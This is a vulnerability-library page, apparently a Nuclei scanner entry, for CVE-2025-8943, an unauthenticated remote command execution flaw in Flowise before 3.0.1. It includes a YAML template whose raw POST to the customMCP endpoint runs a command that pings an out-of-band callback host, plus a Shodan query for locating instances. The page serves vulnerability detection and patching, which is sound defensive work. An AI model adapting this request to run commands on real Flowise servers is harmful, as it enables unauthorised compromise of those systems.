/Vulnerability Library

Flowise < 3.0.1 - Remote Command Execution

CVE-2025-8943
Verified

Description

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.

Severity

Critical

CVSS Score

9.8

Exploit Probability

72%

Affected Product

flowise

Published Date

September 9, 2025

Template Author

zezezez

CVE-2025-8943.yaml
id: CVE-2025-8943

info:
  name: Flowise < 3.0.1 - Remote Command Execution
  author: zezezez
  severity: critical
  description: |
    The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.
  impact: |
    Successful exploitation allows attackers to execute arbitrary OS commands on the target server, potentially leading to complete system compromise, data theft, and lateral movement within the network.
  remediation: |
    Update Flowise to the latest version that addresses this vulnerability. Implement proper input validation and sanitization for the customMCP endpoint parameters.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8943
    - https://www.cve.org/CVERecord?id=CVE-2025-8943
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-8943
    epss-score: 0.7231
    epss-percentile: 0.99375
    cwe-id: CWE-78
    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
  tags: cve,cve2025,rce,flowise,oast,fictional,vkev,ai

http:
  - raw:
      - |
        POST /api/v1/node-load-method/customMCP HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {
            "inputs": {
                "mcpServerConfig": {
                    "command": "ping",
                    "args": [
                        "{{interactsh-url}}",
                        "-c",
                        "4"
                    ]
                }
            },
            "loadMethod": "listActions"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "No Available Actions", "label\":")'
          - 'contains_any(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220784d72e99e0ba046861106a235175f88b0ea20c985b653f6255e7df0cc2bcc28022100fac04aee65b780da95f396a5d2af35b76e6dfb0b5a4fbab9b44afc9ea715accb:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-8943
CWE ID:
cwe-78

References

https://nvd.nist.gov/vuln/detail/CVE-2025-8943https://www.cve.org/CVERecord?id=CVE-2025-8943

Remediation Steps

Update Flowise to the latest version that addresses this vulnerability. Implement proper input validation and sanitization for the customMCP endpoint parameters.